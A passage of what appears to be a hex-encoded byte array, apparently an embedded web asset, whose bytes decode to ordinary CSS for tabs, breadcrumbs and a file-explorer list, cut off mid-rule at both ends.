0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, + 0x6E, 0x3A, 0x6C, 0x61, 0x73, 0x74, 0x2D, 0x63, 0x68, 0x69, 0x6C, 0x64, + 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x72, + 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x61, 0x62, 0x20, + 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x3A, 0x68, 0x6F, 0x76, 0x65, 0x72, + 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, + 0x74, 0x61, 0x62, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x2E, 0x61, + 0x63, 0x74, 0x69, 0x76, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, + 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, + 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x61, 0x63, 0x63, + 0x65, 0x6E, 0x74, 0x2D, 0x74, 0x6F, 0x6E, 0x65, 0x29, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x23, 0x66, 0x66, 0x66, 0x66, + 0x66, 0x66, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x54, 0x61, 0x62, 0x20, 0x43, 0x6F, 0x6E, + 0x74, 0x65, 0x6E, 0x74, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x61, 0x62, 0x63, 0x6F, 0x6E, + 0x74, 0x65, 0x6E, 0x74, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, + 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x61, 0x6E, 0x69, 0x6D, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x66, + 0x61, 0x64, 0x65, 0x45, 0x66, 0x66, 0x65, 0x63, 0x74, 0x20, 0x30, 0x2E, + 0x35, 0x73, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x2E, 0x74, 0x61, 0x62, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, + 0x74, 0x2E, 0x73, 0x68, 0x6F, 0x77, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x69, + 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x62, 0x6C, 0x6F, 0x63, 0x6B, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, + 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x40, 0x6B, 0x65, 0x79, 0x66, 0x72, 0x61, 0x6D, 0x65, 0x73, 0x20, 0x66, + 0x61, 0x64, 0x65, 0x45, 0x66, 0x66, 0x65, 0x63, 0x74, 0x20, 0x7B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x66, 0x72, 0x6F, 0x6D, 0x20, 0x7B, 0x6F, 0x70, 0x61, 0x63, 0x69, + 0x74, 0x79, 0x3A, 0x20, 0x30, 0x3B, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x6F, 0x20, + 0x7B, 0x6F, 0x70, 0x61, 0x63, 0x69, 0x74, 0x79, 0x3A, 0x20, 0x31, 0x3B, + 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, + 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x2E, 0x62, 0x72, 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x20, + 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, + 0x66, 0x6C, 0x65, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6C, 0x65, 0x78, 0x2D, + 0x77, 0x72, 0x61, 0x70, 0x3A, 0x20, 0x77, 0x72, 0x61, 0x70, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x2D, 0x69, 0x74, 0x65, 0x6D, 0x73, + 0x3A, 0x20, 0x63, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, + 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, + 0x3A, 0x20, 0x32, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x62, 0x72, 0x65, 0x61, 0x64, + 0x63, 0x72, 0x75, 0x6D, 0x62, 0x2D, 0x69, 0x74, 0x65, 0x6D, 0x20, 0x7B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, + 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, + 0x6F, 0x6C, 0x6F, 0x72, 0x2D, 0x66, 0x61, 0x64, 0x65, 0x64, 0x29, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x63, 0x75, 0x72, 0x73, 0x6F, 0x72, 0x3A, 0x20, 0x70, 0x6F, + 0x69, 0x6E, 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, + 0x69, 0x6E, 0x2D, 0x72, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x38, 0x70, + 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, + 0x3A, 0x20, 0x72, 0x65, 0x6C, 0x61, 0x74, 0x69, 0x76, 0x65, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x34, 0x70, + 0x78, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x77, + 0x65, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x62, 0x6F, 0x6C, 0x64, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, + 0x3A, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x30, 0x2E, 0x33, 0x73, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, + 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x2E, 0x62, 0x72, 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x2D, + 0x69, 0x74, 0x65, 0x6D, 0x3A, 0x68, 0x6F, 0x76, 0x65, 0x72, 0x20, 0x7B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, + 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, + 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x62, 0x72, 0x65, 0x61, 0x64, 0x63, + 0x72, 0x75, 0x6D, 0x62, 0x2D, 0x69, 0x74, 0x65, 0x6D, 0x3A, 0x3A, 0x61, + 0x66, 0x74, 0x65, 0x72, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x74, + 0x65, 0x6E, 0x74, 0x3A, 0x20, 0x27, 0x2F, 0x27, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, + 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x6C, 0x65, 0x66, 0x74, 0x3A, 0x20, + 0x38, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, + 0x20, 0x23, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x37, 0x66, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x62, + 0x72, 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x2D, 0x69, 0x74, + 0x65, 0x6D, 0x3A, 0x6C, 0x61, 0x73, 0x74, 0x2D, 0x63, 0x68, 0x69, 0x6C, + 0x64, 0x3A, 0x3A, 0x61, 0x66, 0x74, 0x65, 0x72, 0x20, 0x7B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x3A, 0x20, 0x27, 0x27, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, + 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, + 0x62, 0x72, 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x2D, 0x69, + 0x74, 0x65, 0x6D, 0x3A, 0x6C, 0x61, 0x73, 0x74, 0x2D, 0x63, 0x68, 0x69, + 0x6C, 0x64, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x75, 0x72, 0x73, 0x6F, 0x72, + 0x3A, 0x20, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6C, 0x74, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x23, 0x66, 0x66, 0x66, 0x66, + 0x66, 0x66, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x46, 0x69, 0x6C, 0x65, 0x20, 0x45, 0x78, + 0x70, 0x6C, 0x6F, 0x72, 0x65, 0x72, 0x20, 0x53, 0x74, 0x79, 0x6C, 0x69, + 0x6E, 0x67, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x65, 0x78, 0x70, + 0x6C, 0x6F, 0x72, 0x65, 0x72, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x69, 0x73, + 0x74, 0x2D, 0x73, 0x74, 0x79, 0x6C, 0x65, 0x2D, 0x74, 0x79, 0x70, 0x65, + 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, + 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, + 0x2D, 0x65, 0x78, 0x70, 0x6C, 0x6F, 0x72, 0x65, 0x72, 0x20, 0x6C, 0x69, + 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x68, 0x65, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, + 0x33, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, + 0x61, 0x79, 0x3A, 0x20, 0x66, 0x6C, 0x65, 0x78, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, + 0x6C, 0x69, 0x67, 0x6E, 0x2D, 0x69, 0x74, 0x65, 0x6D, 0x73, 0x3A, 0x20, + 0x63, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6A, 0x75, 0x73, + 0x74, 0x69, 0x66, 0x79, 0x2D, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, + 0x3A, 0x20, 0x73, 0x70, 0x61, 0x63, 0x65, 0x2D, 0x62, 0x65, 0x74, 0x77, + 0x65, 0x65, 0x6E, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, + 0x67, 0x3A, 0x20, 0x31, 0x30, 0x70, 0x78, 0x20, 0x31, 0x35, 0x70, 0x78, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, + 0x20, 0x72, 0x65, 0x6C, 0x61, 0x74, 0x69, 0x76, 0x65, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, + 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, + 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x2D, 0x62, 0x67, 0x29, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x6C, 0x65, 0x66, + 0x74, 0x3A, 0x20, 0x32, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, + 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x62, 0x6F, 0x72, 0x64, 0x65, + 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, + 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x69, 0x67, 0x68, 0x74, 0x3A, + 0x20, 0x32, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, 0x20, 0x76, + 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, + 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, + 0x64, 0x65, 0x72, 0x2D, 0x74, 0x6F, 0x70, 0x3A, 0x20, 0x30, 0x2E, 0x35, + 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, 0x20, 0x76, 0x61, 0x72, + 0x28, 0x2D, 0x2D, 0x61, 0x63, 0x63, 0x65, 0x6E, 0x74, 0x2D, 0x63, 0x6F, + 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, + 0x72, 0x2D, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, 0x30, 0x2E, + 0x35, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, 0x20, 0x76, 0x61, + 0x72, 0x28, 0x2D, 0x2D, 0x61, 0x63, 0x63, 0x65, 0x6E, 0x74, 0x2D, 0x63, + 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, + 0x65, 0x72, 0x2D, 0x72, 0x61, 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, 0x76, + 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x6C, 0x69, 0x2D, 0x62, 0x72, 0x2D, 0x74, + 0x6F, 0x70, 0x29, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x6C, 0x69, + 0x2D, 0x62, 0x72, 0x2D, 0x74, 0x6F, 0x70, 0x29, 0x20, 0x76, 0x61, 0x72, + 0x28, 0x2D, 0x2D, 0x6C, 0x69, 0x2D, 0x62, 0x72, 0x2D, 0x62, 0x6F, 0x74, + 0x74, 0x6F, 0x6D, 0x29, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x6C, + 0x69, 0x2D, 0x62, 0x72, 0x2D, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x29, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x69, 0x74, 0x69, 0x6F, + 0x6E, 0x3A, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, + 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x30, 0x2E, 0x33, 0x73, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x6C, 0x69, 0x2D, 0x62, 0x72, 0x2D, 0x74, + 0x6F, 0x70, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x6C, 0x69, + 0x2D, 0x62, 0x72, 0x2D, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, + 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x65, 0x78, 0x70, 0x6C, 0x6F, + 0x72, 0x65, 0x72, 0x20, 0x6C, 0x69, 0x3A, 0x68, 0x6F, 0x76, 0x65, 0x72, + 0x3A, 0x68, 0x61, 0x73, 0x28, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x6E, + 0x61, 0x6D, 0x65, 0x2E, 0x66, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x29, 0x20, + 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, + 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, + 0x28, 0x2D, 0x2D, 0x61, 0x63, 0x63, 0x65, 0x6E, 0x74, 0x2D, 0x74, 0x6F, + 0x6E, 0x65, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x75, 0x72, 0x73, 0x6F, 0x72, + 0x3A, 0x20, 0x70, 0x6F, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x66, 0x69, + 0x6C, 0x65, 0x2D, 0x65, 0x78, 0x70, 0x6C, 0x6F, 0x72, 0x65, 0x72, 0x20, + 0x6C, 0x69, 0x3A, 0x66, 0x69, 0x72, 0x73, 0x74, 0x2D, 0x63, 0x68, 0x69, + 0x6C, 0x64, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, + 0x2D, 0x74, 0x6F, 0x70, 0x3A, 0x20, 0x32, 0x70, 0x78, 0x20, 0x73, 0x6F, + 0x6C, 0x69, 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x62, 0x6F, + 0x72, 0x64, 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x2D, 0x2D, 0x6C, 0x69, 0x2D, 0x62, 0x72, 0x2D, 0x74, 0x6F, + 0x70, 0x3A, 0x20, 0x38, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, + 0x65, 0x78, 0x70, 0x6C, 0x6F, 0x72, 0x65, 0x72, 0x20, 0x6C, 0x69, 0x3A, + 0x6C, 0x61, 0x73, 0x74, 0x2D, 0x63, 0x68, 0x69, 0x6C, 0x64, 0x20, 0x7B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x62, 0x6F, 0x74, + 0x74, 0x6F, 0x6D, 0x3A, 0x20, 0x32, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, + 0x69, 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x62, 0x6F, 0x72, + 0x64, 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x2D, 0x2D, 0x6C, 0x69, 0x2D, 0x62, 0x72, 0x2D, 0x62, 0x6F, 0x74, + 0x74, 0x6F, 0x6D, 0x3A, 0x20, 0x38, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x66, 0x69, 0x6C, + 0x65, 0x2D, 0x65, 0x78, 0x70, 0x6C, 0x6F, 0x72, 0x65, 0x72, 0x20, 0x6C, + 0x69, 0x3A, 0x62, 0x65, 0x66, 0x6F, 0x72, 0x65, 0x20, 0x7B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x3A, 0x20, 0x27, 0x27, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, + 0x61, 0x62, 0x73, 